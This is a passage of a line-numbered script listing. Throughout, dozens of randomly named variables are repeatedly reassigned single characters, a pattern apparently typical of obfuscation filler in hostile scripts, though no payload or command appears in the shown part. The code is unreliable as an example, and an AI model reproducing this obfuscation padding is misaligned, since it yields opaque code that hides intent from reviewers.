416	yvasi = "Z";
417	yvasi = "W";
418	yvasi = "M";
419	yvasi = "o";
420	yvasi = "H";
421	yvasi = "r";
422	yvasi = "J";
423	yvasi = "U";
424	yvasi = "B";
425	yvasi = "I";
426	yvasi = "M";
427	yvasi = "C";
428	wlralzegm = "z";
429	wlralzegm = "h";
430	wlralzegm = "a";
431	wlralzegm = "k";
432	wlralzegm = "A";
433	wlralzegm = "o";
434	wlralzegm = "F";
435	wlralzegm = "e";
436	wlralzegm = "u";
437	wlralzegm = "3";
438	ixbau = "K";
439	ixbau = "S";
440	fsiiebm = "A";
441	fsiiebm = "p";
442	fsiiebm = "O";
443	fsiiebm = "t";
444	fsiiebm = "O";
445	fsiiebm = "R";
446	lfipjbnu = "i";
447	lfipjbnu = "c";
448	lfipjbnu = "T";
449	lfipjbnu = "m";
450	lfipjbnu = "x";
451	lfipjbnu = "a";
452	lfipjbnu = "D";
453	lfipjbnu = "n";
454	lfipjbnu = "E";
455	lfipjbnu = "U";
456	lfipjbnu = "q";
457	lfipjbnu = "S";
458	lfipjbnu = "k";
459	lfipjbnu = "F";
460	lfipjbnu = "C";
461	lfipjbnu = "H";
462	lfipjbnu = "o";
463	lfipjbnu = "O";
464	lfipjbnu = "g";
465	rlgmfd = "m";
466	rlgmfd = "M";
467	rlgmfd = "a";
468	rlgmfd = "A";
469	rlgmfd = "k";
470	rlgmfd = "Y";
471	rlgmfd = "R";
472	rlgmfd = "f";
473	rlgmfd = "r";
474	rlgmfd = "D";
475	rlgmfd = "d";
476	rlgmfd = "f";
477	rlgmfd = "X";
478	rlgmfd = "q";
479	rlgmfd = "k";
480	rlgmfd = "V";
481	rlgmfd = "C";
482	rlgmfd = "S";
483	rlgmfd = "c";
484	rlgmfd = "z";
485	rlgmfd = "X";
486	rlgmfd = "b";
487	rlgmfd = "c";
488	rlgmfd = "O";
489	tyndy = "m";
490	tyndy = "O";
491	tyndy = "g";
492	tyndy = "v";
493	tyndy = "E";
494	tyndy = "x";
495	tyndy = "p";
496	tyndy = "s";
497	tyndy = "z";
498	tyndy = "H";
499	tyndy = "O";
500	tyndy = "n";
501	tyndy = "p";
502	tyndy = "c";
503	tyndy = "t";
504	tyndy = "K";
505	tyndy = "n";
506	tyndy = "R";
507	tyndy = "Y";
508	tyndy = "Q";
509	tyndy = "h";
510	tyndy = "x";
511	tyndy = "A";
512	tyndy = "F";
513	tyndy = "s";
514	tyndy = "j";
515	tyndy = "a";
516	tyndy = "X";
517	tyndy = "p";
518	tyndy = "6";
519	ohgovt = "q";
520	ohgovt = "L";
521	ohgovt = "z";
522	ohgovt = "Q";
523	ohgovt = "h";
524	ohgovt = "V";
525	ohgovt = "w";
526	ohgovt = "D";
527	ohgovt = "z";
528	ohgovt = "R";
529	ohgovt = "w";
530	ohgovt = "h";
531	ohgovt = "C";
532	ohgovt = "d";
533	ohgovt = "B";
534	ohgovt = "j";
535	ohgovt = "h";
536	ohgovt = "T";
537	ohgovt = "N";
538	ohgovt = "J";
539	ohgovt = "p";
540	ohgovt = "v";
541	ohgovt = "V";
542	ohgovt = "p";
543	ohgovt = "e";
544	ohgovt = "l";
545	ohgovt = "w";
546	ohgovt = "R";
547	ohgovt = "s";
548	ohgovt = "A";
549	ohgovt = "T";
550	ohgovt = "U";
551	jwxbv = "C";
552	jwxbv = "J";
553	jwxbv = "Q";
554	jwxbv = "J";
555	jwxbv = "K";
556	jwxbv = "k";
557	jwxbv = "P";
558	jwxbv = "J";
559	jwxbv = "i";
560	jwxbv = "K";
561	jwxbv = "h";
562	jwxbv = "%";
563	twwhvlgyr = "Y";
564	twwhvlgyr = "z";
565	twwhvlgyr = "Y";
566	twwhvlgyr = "A";
567	twwhvlgyr = "q";
568	twwhvlgyr = "b";
569	twwhvlgyr = "y";
570	twwhvlgyr = "K";
571	twwhvlgyr = "e";
572	twwhvlgyr = "k";
573	twwhvlgyr = "U";
574	twwhvlgyr = "g";
575	twwhvlgyr = "j";
576	twwhvlgyr = "f";
577	twwhvlgyr = "E";
578	twwhvlgyr = "U";
579	twwhvlgyr = "K";
580	twwhvlgyr = "p";
581	twwhvlgyr = "K";
582	twwhvlgyr = "W";
583	twwhvlgyr = "B";
584	twwhvlgyr = "v";
585	twwhvlgyr = "W";
586	twwhvlgyr = "H";
587	twwhvlgyr = "M";
588	twwhvlgyr = "u";
589	twwhvlgyr = "X";
590	twwhvlgyr = "A";
591	twwhvlgyr = "P";
592	twwhvlgyr = "Y";
593	twwhvlgyr = "V";
594	twwhvlgyr = "R";
595	twwhvlgyr = "e";
596	twwhvlgyr = "u";
597	twwhvlgyr = "k";
598	twwhvlgyr = "E";
599	twwhvlgyr = "z";
600	twwhvlgyr = "O";
601	twwhvlgyr = "t";
602	twwhvlgyr = "z";
603	twwhvlgyr = "H";
604	qgapy = "v";
605	qgapy = "R";
606	qgapy = "K";
607	qgapy = "s";
608	qgapy = "g";
609	qgapy = "q";
610	qgapy = "D";
611	qgapy = "p";
612	qgapy = "x";
613	qgapy = "P";
614	qgapy = "a";
615	qgapy = "L";
616	ejwnh = "i";
617	ejwnh = "l";
618	ejwnh = "m";
619	ejwnh = "F";
620	ejwnh = "A";
621	ejwnh = "e";
622	ejwnh = "h";
623	ejwnh = "A";
624	ejwnh = "y";
625	ejwnh = "H";
626	ejwnh = "J";
627	ejwnh = "v";
628	ejwnh = "U";
629	ejwnh = "y";
630	ejwnh = "L";
631	ejwnh = "d";
632	ejwnh = "T";
633	ejwnh = "P";
634	ejwnh = "s";
635	ejwnh = "D";
636	ejwnh = "K";
637	ejwnh = "g";
638	ejwnh = "T";
639	ejwnh = "m";
640	ejwnh = "j";
641	ejwnh = "k";
642	ejwnh = "J";
643	ejwnh = "g";
644	ejwnh = "W";
645	ejwnh = "v";
646	ejwnh = "b";
647	ejwnh = "s";
648	ejwnh = "O";
649	ejwnh = "o";
650	ejwnh = "U";
651	ejwnh = "Q";
652	ejwnh = "L";
653	ejwnh = "u";
654	ejwnh = "I";
655	ejwnh = "i";
656	mocwmwg = "H";
657	mocwmwg = "W";
658	lomsp = "X";
659	lomsp = "D";
660	lomsp = "r";
661	lomsp = "X";
662	lomsp = "L";
663	lomsp = "L";
664	lomsp = "d";
665	lomsp = "y";
666	lomsp = "d";
667	lomsp = "B";
668	lomsp = "C";
669	lomsp = "q";
670	lomsp = "F";
671	lomsp = "O";
672	lomsp = "W";
673	lomsp = "I";
674	lomsp = "R";
675	lomsp = "B";
676	lomsp = "g";
677	lomsp = "K";
678	lomsp = "v";
679	lomsp = "m";
680	lomsp = "l";
681	lomsp = "X";
682	lomsp = "y";
683	lomsp = "j";
684	lomsp = "F";
685	lomsp = "G";
686	lomsp = "Q";
687	lomsp = "i";
688	lomsp = "F";
689	lomsp = "l";
690	lomsp = "v";
691	lomsp = "Q";
692	lomsp = "v";
693	lomsp = "f";
694	lomsp = "M";
695	lomsp = "l";
696	lomsp = "x";
697	lomsp = "Z";
698	lomsp = "5";
699	dsbdjxag = "I";
700	dsbdjxag = "w";
701	dsbdjxag = "C";
702	dsbdjxag = "q";
703	dsbdjxag = "R";
704	dsbdjxag = "j";
705	dsbdjxag = "z";
706	dsbdjxag = "n";
707	dsbdjxag = "n";
708	dsbdjxag = "v";
709	dsbdjxag = "z";
710	dsbdjxag = "v";
711	dsbdjxag = "p";
712	dsbdjxag = "C";
713	dsbdjxag = "Z";
714	dsbdjxag = "l";
715	dsbdjxag = "P";
716	dsbdjxag = "V";
717	dsbdjxag = "t";
718	dsbdjxag = "c";
719	dsbdjxag = "P";
720	dsbdjxag = "e";
721	dsbdjxag = "a";
722	dsbdjxag = "D";
723	dsbdjxag = "c";
724	dsbdjxag = "Q";
725	dsbdjxag = "R";
726	dsbdjxag = "g";
727	dsbdjxag = "m";
728	dsbdjxag = "f";
729	dsbdjxag = "t";
730	dsbdjxag = "e";
731	dsbdjxag = "s";
732	dsbdjxag = "v";
733	dsbdjxag = "b";
734	dsbdjxag = "i";
735	dsbdjxag = "G";
736	dsbdjxag = "M";
737	dsbdjxag = "p";
738	dsbdjxag = "E";
739	dsbdjxag = "x";
740	urwcbunj = "w";
741	urwcbunj = "e";
742	urwcbunj = "t";
743	urwcbunj = "P";
744	urwcbunj = "t";
745	urwcbunj = "t";
746	urwcbunj = "T";
747	urwcbunj = "r";
748	urwcbunj = "u";
749	urwcbunj = "C";
750	urwcbunj = "W";
751	urwcbunj = "C";
752	urwcbunj = "F";
753	urwcbunj = "h";
754	urwcbunj = "J";
755	urwcbunj = "K";
756	urwcbunj = "F";
757	urwcbunj = "N";
758	urwcbunj = "O";
759	urwcbunj = "o";
760	ycnbmtu = "k";
761	ycnbmtu = "F";
762	ycnbmtu = "t";
763	ycnbmtu = "P";
764	ycnbmtu = "O";
765	ycnbmtu = "j";
766	ycnbmtu = "i";
767	ycnbmtu = "c";
768	ycnbmtu = "J";
769	ycnbmtu = "e";
770	ycnbmtu = "t";
771	ycnbmtu = "n";
772	ycnbmtu = "c";
773	ycnbmtu = "R";
774	ycnbmtu = "t";
775	ycnbmtu = "N";
776	ycnbmtu = "L";
777	ycnbmtu = "i";
778	ycnbmtu = "s";
779	ycnbmtu = "e";
780	ayvupnw = "Z";
781	ayvupnw = "m";
782	ayvupnw = "V";
783	ayvupnw = "m";
784	ayvupnw = "f";
785	ayvupnw = "v";
786	ayvupnw = "r";
787	ayvupnw = "V";
788	ayvupnw = "r";
789	ayvupnw = "i";
790	ayvupnw = "v";
791	ayvupnw = "u";
792	whfsiy = "a";
793	whfsiy = "q";
794	whfsiy = "A";
795	whfsiy = "Y";
796	whfsiy = "N";
797	whfsiy = "V";
798	whfsiy = "K";
799	whfsiy = "N";
800	whfsiy = "S";
801	whfsiy = "M";
802	whfsiy = "l";
803	whfsiy = "z";
804	whfsiy = "e";
805	whfsiy = "x";
806	whfsiy = "z";
807	whfsiy = "K";
808	whfsiy = "T";
809	whfsiy = "x";
810	whfsiy = "y";
811	whfsiy = "U";
812	whfsiy = "V";
813	whfsiy = "G";
814	whfsiy = "M";
815	whfsiy = "o";
816	whfsiy = "B";
817	whfsiy = "F";
818	whfsiy = "n";
819	whfsiy = "O";
820	whfsiy = "E";
821	whfsiy = "C";
822	whfsiy = "S";
823	whfsiy = "t";
824	whfsiy = "I";
825	whfsiy = "s";
826	whfsiy = "D";
827	whfsiy = "W";
828	whfsiy = "l";
829	whfsiy = "S";
830	whfsiy = "F";
831	whfsiy = "A";
832	whfsiy = "p";
833	whfsiy = "y";
834	whfsiy = "/";
835	somtrefo = "X";
836	somtrefo = "j";
837	somtrefo = "a";
838	somtrefo = "h";
839	somtrefo = "s";
840	somtrefo = "y";
841	somtrefo = "R";
842	somtrefo = "n";
843	somtrefo = "m";
844	somtrefo = "S";
845	somtrefo = "j";
846	somtrefo = "R";
847	somtrefo = "Z";
848	somtrefo = "h";
849	somtrefo = "f";
850	somtrefo = "y";
851	somtrefo = "i";
852	somtrefo = "z";
853	somtrefo = "a";
854	somtrefo = "w";
855	somtrefo = "d";
856	somtrefo = "F";
857	somtrefo = "o";
858	somtrefo = "u";
859	somtrefo = "y";
860	somtrefo = "E";
861	fgclavoas = "J";
862	fgclavoas = "i";
863	fgclavoas = "B";
864	fgclavoas = "q";
865	fgclavoas = "G";
866	fgclavoas = "F";
867	fgclavoas = "n";
868	fgclavoas = "T";
869	fgclavoas = "K";
870	fgclavoas = "P";
871	fgclavoas = "s";
872	fgclavoas = "y";
873	fgclavoas = "E";
874	fgclavoas = "k";
875	fgclavoas = "o";
876	fgclavoas = "Q";
877	fgclavoas = "G";
878	fgclavoas = "W";
879	fgclavoas = "K";
880	fgclavoas = "C";
881	fgclavoas = "o";
882	fgclavoas = "M";
883	fgclavoas = "8";
884	arwczwv = "N";
885	arwczwv = "K";
886	arwczwv = "P";
887	arwczwv = "w";
888	arwczwv = "B";
889	arwczwv = "l";
890	arwczwv = "r";
891	arwczwv = "D";
892	arwczwv = "o";
893	arwczwv = "F";
894	arwczwv = "C";
895	arwczwv = "j";
896	arwczwv = "w";
897	arwczwv = "d";
898	arwczwv = "p";
899	arwczwv = "T";
900	arwczwv = "R";
901	arwczwv = "V";
902	arwczwv = "g";
903	arwczwv = "a";
904	arwczwv = "C";
905	arwczwv = "w";
906	arwczwv = "G";
907	arwczwv = "P";
908	arwczwv = "h";
909	arwczwv = "m";
910	arwczwv = "g";
911	arwczwv = "l";
912	arwczwv = "R";
913	arwczwv = "K";
914	arwczwv = "i";
915	arwczwv = "F";
916	arwczwv = "U";
917	arwczwv = "F";
918	arwczwv = "O";
919	arwczwv = "T";
920	snadxm = "o";
921	snadxm = "c";
922	snadxm = "p";
923	snadxm = "B";
924	snadxm = "v";
925	snadxm = "S";
926	snadxm = "R";
927	snadxm = "X";
928	snadxm = "j";
929	snadxm = "e";
930	snadxm = "f";
931	snadxm = "v";
932	snadxm = "i";
933	snadxm = "v";
934	snadxm = "a";
935	snadxm = "I";
936	snadxm = "e";
937	snadxm = "Q";
938	snadxm = "G";
939	snadxm = "G";
940	snadxm = "D";
941	snadxm = "Q";
942	snadxm = "U";
943	snadxm = "B";
944	snadxm = "z";
945	snadxm = "p";
946	snadxm = "Y";
947	snadxm = "r";
948	snadxm = "S";
949	snadxm = "M";
950	snadxm = "n";
951	snadxm = "W";
952	snadxm = "O";
953	snadxm = "p";
954	snadxm = "V";
955	snadxm = "T";
956	snadxm = "4";
957	oddeojuob = "m";
958	oddeojuob = "t";
959	oddeojuob = "Z";
960	oddeojuob = "z";
961	oddeojuob = "j";
962	oddeojuob = "t";
963	oddeojuob = "I";
964	oddeojuob = "q";
965	oddeojuob = "l";
966	oddeojuob = "Y";
967	oddeojuob = "T";
968	oddeojuob = "I";
969	oddeojuob = "y";
970	oddeojuob = "R";
971	oddeojuob = "n";
972	oddeojuob = "l";
973	oddeojuob = "M";
974	oddeojuob = "r";
975	oddeojuob = "l";
976	oddeojuob = "Y";
977	oddeojuob = "A";
978	oddeojuob = "X";
979	oddeojuob = "y";
980	oddeojuob = "S";
981	oddeojuob = "V";
982	oddeojuob = "P";
983	oddeojuob = "x";
984	oddeojuob = "y";
985	oddeojuob = "I";
986	oddeojuob = "Y";
987	hiaey = "T";
988	hiaey = "h";
989	hiaey = "o";
990	hiaey = "T";
991	hiaey = "r";
992	hiaey = "Z";
993	hiaey = "T";
994	hiaey = "y";
995	hiaey = "F";
996	hiaey = "_";
997	xwgnwsqhc = "q";
998	xwgnwsqhc = "X";
999	xwgnwsqhc = "H";
1000	xwgnwsqhc = "J";
1001	xwgnwsqhc = "p";
1002	xwgnwsqhc = "a";
1003	xwgnwsqhc = "H";
1004	xwgnwsqhc = "m";
1005	xwgnwsqhc = "K";
1006	xwgnwsqhc = "S";
1007	xwgnwsqhc = "B";
1008	xwgnwsqhc = "h";
1009	xwgnwsqhc = "T";
1010	xwgnwsqhc = "Q";
1011	xwgnwsqhc = "E";
1012	xwgnwsqhc = "x";
1013	xwgnwsqhc = "U";
1014	xwgnwsqhc = "x";
1015	xwgnwsqhc = "@";
1016	bmtztr = "l";
1017	bmtztr = "G";
1018	bmtztr = "c";
1019	bmtztr = "B";
1020	bmtztr = "W";
1021	bmtztr = "R";
1022	bmtztr = "n";
1023	bmtztr = "t";
1024	bmtztr = "E";
1025	bmtztr = "K";
1026	bmtztr = "Y";
1027	bmtztr = "f";
1028	bmtztr = "T";
1029	bmtztr = "I";
1030	bmtztr = "l";
1031	bmtztr = "U";
1032	bmtztr = "f";
1033	bmtztr = "I";
1034	bmtztr = "k";
1035	bmtztr = "b";
1036	bmtztr = "K";
1037	bmtztr = "F";
1038	bmtztr = "v";
1039	bmtztr = "s";
1040	bmtztr = "p";
1041	bmtztr = "s";
1042	bmtztr = "I";
1043	bmtztr = "L";
1044	bmtztr = "J";
1045	bmtztr = "b";
1046	bmtztr = "L";
1047	bmtztr = "v";
1048	bmtztr = "L";
1049	bmtztr = "x";
1050	bmtztr = "s";
1051	bmtztr = "Y";
1052	bmtztr = "g";
1053	bmtztr = "-";
1054	qydul = "v";
1055	qydul = "T";
1056	qydul = "i";
1057	qydul = "A";
1058	qydul = "Q";
1059	qydul = "R";
1060	qydul = "i";
1061	qydul = "j";
1062	qydul = "q";
1063	qydul = "k";
1064	qydul = "h";
1065	qydul = "R";
1066	qydul = "M";
1067	qydul = "l";
1068	qydul = "K";
1069	qydul = "B";
1070	qydul = "O";
1071	qydul = "L";
1072	qydul = "q";
1073	qydul = "M";
1074	qydul = "r";
1075	qydul = "a";
1076	qydul = "n";
1077	qydul = "y";
1078	qydul = "D";
1079	qydul = "h";
1080	qydul = "n";
1081	qydul = "g";
1082	qydul = "K";
1083	qydul = "p";
1084	qydul = "p";
1085	qydul = "K";
1086	qydul = "b";
1087	qydul = "k";
1088	qydul = "l";
1089	qydul = "o";
1090	qydul = "L";
1091	qydul = "F";
1092	qydul = "P";
1093	qydul = "K";
1094	qydul = "i";
1095	qydul = "n";
1096	qydul = "W";
1097	qydul = "1";
1098	qwqsxwmoh = "j";
1099	qwqsxwmoh = "Z";
1100	qwqsxwmoh = "v";
1101	qwqsxwmoh = "l";
1102	qwqsxwmoh = "y";
1103	qwqsxwmoh = "P";
1104	qwqsxwmoh = "I";
1105	qwqsxwmoh = "Z";
1106	qwqsxwmoh = "d";
1107	qwqsxwmoh = "N";
1108	qwqsxwmoh = "R";
1109	qwqsxwmoh = "U";
1110	qwqsxwmoh = "M";
1111	qwqsxwmoh = "T";
1112	qwqsxwmoh = "M";
1113	qwqsxwmoh = "n";
1114	qwqsxwmoh = "b";
1115	qwqsxwmoh = "Z";
1116	qwqsxwmoh = "N";
1117	qwqsxwmoh = "G";
1118	qwqsxwmoh = "L";
1119	qwqsxwmoh = "S";
1120	qwqsxwmoh = "M";
1121	qwqsxwmoh = "g";
1122	qwqsxwmoh = "M";
1123	qwqsxwmoh = "j";
1124	qwqsxwmoh = "u";
1125	qwqsxwmoh = "D";
1126	qwqsxwmoh = "U";
1127	qwqsxwmoh = "q";
1128	qwqsxwmoh = "f";
1129	qwqsxwmoh = "o";
1130	qwqsxwmoh = "o";
1131	qwqsxwmoh = "C";
1132	qwqsxwmoh = "f";
1133	qwqsxwmoh = "C";
1134	qwqsxwmoh = "O";
1135	qwqsxwmoh = "d";
1136	qwqsxwmoh = "Z";
1137	qwqsxwmoh = "i";
1138	qwqsxwmoh = "r";
1139	qwqsxwmoh = "I";
1140	ynezbtj = "p";
1141	ynezbtj = "N";
1142	ynezbtj = "U";
1143	ynezbtj = "d";
1144	ynezbtj = "i";
1145	ynezbtj = "q";
1146	ynezbtj = "L";
1147	ynezbtj = "d";
1148	ynezbtj = "O";
1149	ynezbtj = "R";
1150	ynezbtj = "e";
1151	ynezbtj = "d";
1152	ynezbtj = "a";
1153	ynezbtj = "c";
1154	ynezbtj = "B";
1155	ynezbtj = "Y";
1156	ynezbtj = "f";
1157	ynezbtj = "K";
1158	ynezbtj = "k";
1159	ynezbtj = "j";
1160	ynezbtj = "j";
1161	ynezbtj = "w";
1162	ynezbtj = "Y";
1163	ynezbtj = "s";
1164	ynezbtj = "P";
1165	ynezbtj = "k";
1166	ynezbtj = "d";
1167	ynezbtj = "G";
1168	ynezbtj = "0";
1169	aydynur = "K";
1170	aydynur = "r";
1171	aydynur = "o";
1172	aydynur = "r";
1173	aydynur = "y";
1174	aydynur = "S";
1175	aydynur = "v";
1176	aydynur = "F";
1177	aydynur = "w";
1178	aydynur = "W";
1179	aydynur = "b";
1180	aydynur = "w";
1181	aydynur = "S";
1182	aydynur = "U";
1183	aydynur = "x";
1184	aydynur = "\"";
1185	oijwuo = "k";
1186	oijwuo = "Q";
1187	oijwuo = "u";
1188	oijwuo = "Z";
1189	oijwuo = "b";
1190	oijwuo = "t";
1191	oijwuo = "H";
1192	oijwuo = "e";
1193	oijwuo = "J";
1194	oijwuo = "W";
1195	oijwuo = "m";
1196	oijwuo = "n";
1197	oijwuo = "l";
1198	oijwuo = "V";
1199	oijwuo = "x";
1200	oijwuo = "C";
1201	oijwuo = "y";
1202	oijwuo = "E";
1203	oijwuo = "Q";
1204	oijwuo = "d";
1205	oijwuo = "A";
1206	oijwuo = "B";
1207	oijwuo = "F";
1208	oijwuo = "A";
1209	oijwuo = "J";
1210	oijwuo = "m";
1211	oijwuo = "N";
1212	oijwuo = "j";
1213	oijwuo = "w";
1214	oijwuo = "Q";
1215	oijwuo = "E";
1216	oijwuo = "C";
1217	oijwuo = "V";
1218	oijwuo = "g";
1219	oijwuo = "c";
1220	oijwuo = "X";
1221	oijwuo = "V";
1222	oijwuo = "u";
1223	oijwuo = "U";
1224	oijwuo = "M";
1225	oijwuo = "E";
1226	oijwuo = "V";
1227	oijwuo = "F";
1228	rwyhidcia = "q";
1229	rwyhidcia = "K";
1230	rwyhidcia = "a";
1231	rwyhidcia = "p";
1232	rwyhidcia = "c";
1233	rwyhidcia = "O";
1234	rwyhidcia = "x";
1235	rwyhidcia = "M";
1236	rwyhidcia = "L";
1237	rwyhidcia = "H";
1238	rwyhidcia = "k";
1239	rwyhidcia = "d";
1240	rwyhidcia = "h";
1241	rwyhidcia = "S";
1242	rwyhidcia = "R";
1243	rwyhidcia = "a";
1244	rwyhidcia = "i";
1245	rwyhidcia = "s";
1246	rwyhidcia = "l";
1247	rwyhidcia = "h";
1248	rwyhidcia = "I";
1249	rwyhidcia = "f";
1250	rwyhidcia = "B";
1251	rwyhidcia = "C";
1252	rwyhidcia = "P";
1253	rwyhidcia = "P";
1254	rwyhidcia = "O";
1255	rwyhidcia = "h";
1256	rwyhidcia = "T";
1257	rwyhidcia = "T";
1258	rwyhidcia = "w";
1259	rwyhidcia = "K";
1260	rwyhidcia = "x";
1261	rwyhidcia = "x";
1262	rwyhidcia = "S";
1263	rwyhidcia = "Y";
1264	rwyhidcia = "P";
1265	vhwxaj = "O";
1266	vhwxaj = "P";
1267	vhwxaj = "p";
1268	vhwxaj = "R";
1269	vhwxaj = "N";
1270	vhwxaj = "u";
1271	vhwxaj = "q";
1272	vhwxaj = "T";
1273	vhwxaj = "g";
1274	vhwxaj = "a";
1275	vhwxaj = "E";
1276	vhwxaj = "i";
1277	vhwxaj = "D";
1278	vhwxaj = "e";
1279	vhwxaj = "f";
1280	vhwxaj = "w";
1281	vhwxaj = "A";
1282	vhwxaj = "L";
1283	vhwxaj = "K";
1284	vhwxaj = "m";
1285	vhwxaj = "v";
1286	vhwxaj = "v";
1287	vhwxaj = "G";
1288	vhwxaj = "n";
1289	vhwxaj = "A";
1290	vhwxaj = "h";
1291	vhwxaj = "e";
1292	vhwxaj = "E";
1293	vhwxaj = "i";
1294	vhwxaj = "U";
1295	vhwxaj = "E";
1296	vhwxaj = "K";
1297	vhwxaj = "c";
1298	vhwxaj = "r";
1299	vhwxaj = "O";
1300	vhwxaj = "W";
1301	vhwxaj = "J";
1302	vhwxaj = "z";
1303	vhwxaj = "s";
1304	vhwxaj = "O";
1305	vhwxaj = "g";
1306	vhwxaj = "7";
1307	ahmaau = "h";
1308	ahmaau = "x";
1309	ahmaau = "l";
1310	ahmaau = "U";
1311	ahmaau = "N";
1312	ahmaau = "o";
1313	ahmaau = "H";
1314	ahmaau = "d";
1315	ahmaau = "v";
1316	mjozox = "i";
1317	mjozox = "b";
1318	mjozox = "E";
1319	mjozox = "u";
1320	mjozox = "u";
1321	mjozox = "g";
1322	mjozox = "I";
1323	mjozox = "P";
1324	mjozox = "i";
1325	mjozox = "a";
1326	mjozox = "D";
1327	mjozox = "r";
1328	mjozox = "l";
1329	mjozox = "b";
1330	mjozox = "L";
1331	mjozox = "t";
1332	mjozox = "E";
1333	mjozox = "g";
1334	mjozox = "N";
1335	mjozox = "E";
1336	mjozox = "i";
1337	mjozox = "t";
1338	mjozox = "B";
1339	mjozox = "z";
1340	mjozox = "D";
1341	mjozox = "k";
1342	mjozox = "J";
1343	mjozox = "D";
1344	mjozox = "V";
1345	mjozox = "A";
1346	mjozox = "T";
1347	mjozox = "D";
1348	mjozox = "d";
1349	mjozox = "N";
1350	mjozox = "y";
1351	mjozox = "J";
1352	mjozox = "v";
1353	mjozox = "t";
1354	sovxer = "z";
1355	sovxer = "f";
1356	sovxer = "E";
1357	sovxer = "e";
1358	sovxer = "u";
1359	sovxer = "j";
1360	sovxer = "T";
1361	sovxer = "s";
1362	sovxer = "z";
1363	sovxer = "m";
1364	sovxer = "t";
1365	sovxer = "S";
1366	sovxer = "r";
1367	sovxer = "d";
1368	sovxer = "X";
1369	sovxer = "i";
1370	sovxer = "L";
1371	sovxer = "Q";
1372	sovxer = "l";
1373	sovxer = "B";
1374	sovxer = "U";
1375	sovxer = "\\";
1376	amarrtum = "J";
1377	amarrtum = "o";
1378	amarrtum = "i";
1379	amarrtum = "U";
1380	amarrtum = "O";
1381	amarrtum = "j";
1382	onnrdjv = "l";
1383	onnrdjv = "E";
1384	onnrdjv = "w";
1385	onnrdjv = "Q";
1386	onnrdjv = "X";
1387	onnrdjv = "X";
1388	onnrdjv = "Y";
1389	onnrdjv = "A";
1390	onnrdjv = "a";
1391	onnrdjv = "C";
1392	onnrdjv = "s";
1393	onnrdjv = "m";
1394	onnrdjv = "i";
1395	onnrdjv = "t";
1396	onnrdjv = "U";
1397	onnrdjv = "s";
1398	onnrdjv = "R";
1399	onnrdjv = "o";
1400	onnrdjv = "f";
1401	onnrdjv = "t";
1402	onnrdjv = "a";
1403	onnrdjv = "F";
1404	onnrdjv = "A";
1405	onnrdjv = "r";
1406	onnrdjv = "U";
1407	onnrdjv = "m";
1408	onnrdjv = "U";
1409	onnrdjv = "F";
1410	onnrdjv = "n";
1411	onnrdjv = "f";
1412	onnrdjv = "h";
1413	onnrdjv = "c";
1414	hovvsqcj = "K";
1415	hovvsqcj = "z";
1416	hovvsqcj = "G";
1417	hovvsqcj = "O";
1418	hovvsqcj = "H";
1419	hovvsqcj = "x";
1420	hovvsqcj = "B";
1421	hovvsqcj = "w";
1422	hovvsqcj = "J";
1423	hovvsqcj = "G";
1424	hovvsqcj = "b";
1425	hovvsqcj = "b";
1426	hovvsqcj = "i";
1427	hovvsqcj = "k";
1428	hovvsqcj = "U";
1429	hovvsqcj = "i";
1430	hovvsqcj = "w";
1431	hovvsqcj = "O";
1432	hovvsqcj = "D";
1433	hovvsqcj = "h";
1434	hovvsqcj = "n";
1435	hovvsqcj = "b";
1436	hovvsqcj = "A";
1437	hovvsqcj = "g";
1438	hovvsqcj = "s";
1439	hovvsqcj = "C";
1440	hovvsqcj = "n";
1441	hovvsqcj = "N";
1442	hovvsqcj = "f";
1443	hovvsqcj = "G";
1444	hovvsqcj = "E";
1445	hovvsqcj = "T";
1446	hovvsqcj = "L";
1447	hovvsqcj = "m";
1448	hovvsqcj = "q";
1449	hovvsqcj = "r";
1450	pygixijl = "a";
1451	pygixijl = "K";
1452	pygixijl = "i";
1453	pygixijl = "C";
1454	pygixijl = "W";
1455	pygixijl = "Q";
1456	pygixijl = "N";
1457	pygixijl = "P";
1458	pygixijl = "Z";
1459	pygixijl = "U";
1460	pygixijl = "E";
1461	pygixijl = "H";
1462	pygixijl = "A";
1463	pygixijl = "e";
1464	pygixijl = "F";
1465	pygixijl = "l";
1466	pygixijl = "W";
1467	pygixijl = "i";
1468	pygixijl = "q";
1469	pygixijl = "W";
1470	pygixijl = "A";
1471	pygixijl = "g";
1472	pygixijl = "G";
1473	pygixijl = "S";
1474	pygixijl = "t";
1475	pygixijl = "E";
1476	pygixijl = "K";
1477	pygixijl = "M";
1478	pygixijl = "Q";
1479	ftbgbcm = "G";
1480	ftbgbcm = "V";
1481	ftbgbcm = "C";
1482	ftbgbcm = "R";
1483	ftbgbcm = "X";
1484	ftbgbcm = "H";
1485	ftbgbcm = "X";
1486	ftbgbcm = "L";
1487	ftbgbcm = "D";
1488	ftbgbcm = "J";
1489	ftbgbcm = "r";
1490	ftbgbcm = "Y";
1491	ftbgbcm = "s";
1492	ftbgbcm = "X";
1493	ftbgbcm = "N";
1494	ftbgbcm = "y";
1495	ftbgbcm = "n";
1496	olkfxf = "B";
1497	olkfxf = "J";
1498	olkfxf = "s";
1499	olkfxf = "G";
1500	olkfxf = "x";
1501	olkfxf = "K";
1502	olkfxf = "W";
1503	olkfxf = "b";
1504	olkfxf = "T";
1505	olkfxf = "j";
1506	olkfxf = "Y";
1507	olkfxf = "D";
1508	olkfxf = "c";
1509	olkfxf = "d";
1510	olkfxf = "c";
1511	olkfxf = "B";
1512	olkfxf = "B";
1513	olkfxf = "d";
1514	olkfxf = "s";
1515	olkfxf = "C";
1516	olkfxf = "i";
1517	olkfxf = "b";
1518	olkfxf = "m";
1519	olkfxf = "x";
1520	olkfxf = "u";
1521	olkfxf = "S";
1522	olkfxf = "U";
1523	olkfxf = "T";
1524	olkfxf = "f";
1525	olkfxf = "d";
1526	olkfxf = "j";
1527	olkfxf = "D";
1528	olkfxf = "e";
1529	olkfxf = "l";
1530	olkfxf = "F";
1531	olkfxf = "y";
1532	olkfxf = "t";
1533	olkfxf = "k";
1534	olkfxf = "w";
1535	thmqhrgmi = "Q";
1536	thmqhrgmi = "d";
1537	thmqhrgmi = "K";
1538	thmqhrgmi = "L";
1539	thmqhrgmi = "Q";
1540	thmqhrgmi = "w";
1541	thmqhrgmi = "l";
1542	thmqhrgmi = "f";
1543	thmqhrgmi = "L";
1544	thmqhrgmi = "R";
1545	thmqhrgmi = "g";
1546	thmqhrgmi = "S";
1547	thmqhrgmi = "R";
1548	thmqhrgmi = "R";
1549	thmqhrgmi = "n";
1550	thmqhrgmi = "t";
1551	thmqhrgmi = "o";
1552	thmqhrgmi = "g";
1553	thmqhrgmi = "b";
1554	thmqhrgmi = "y";
1555	thmqhrgmi = "k";
1556	thmqhrgmi = "i";
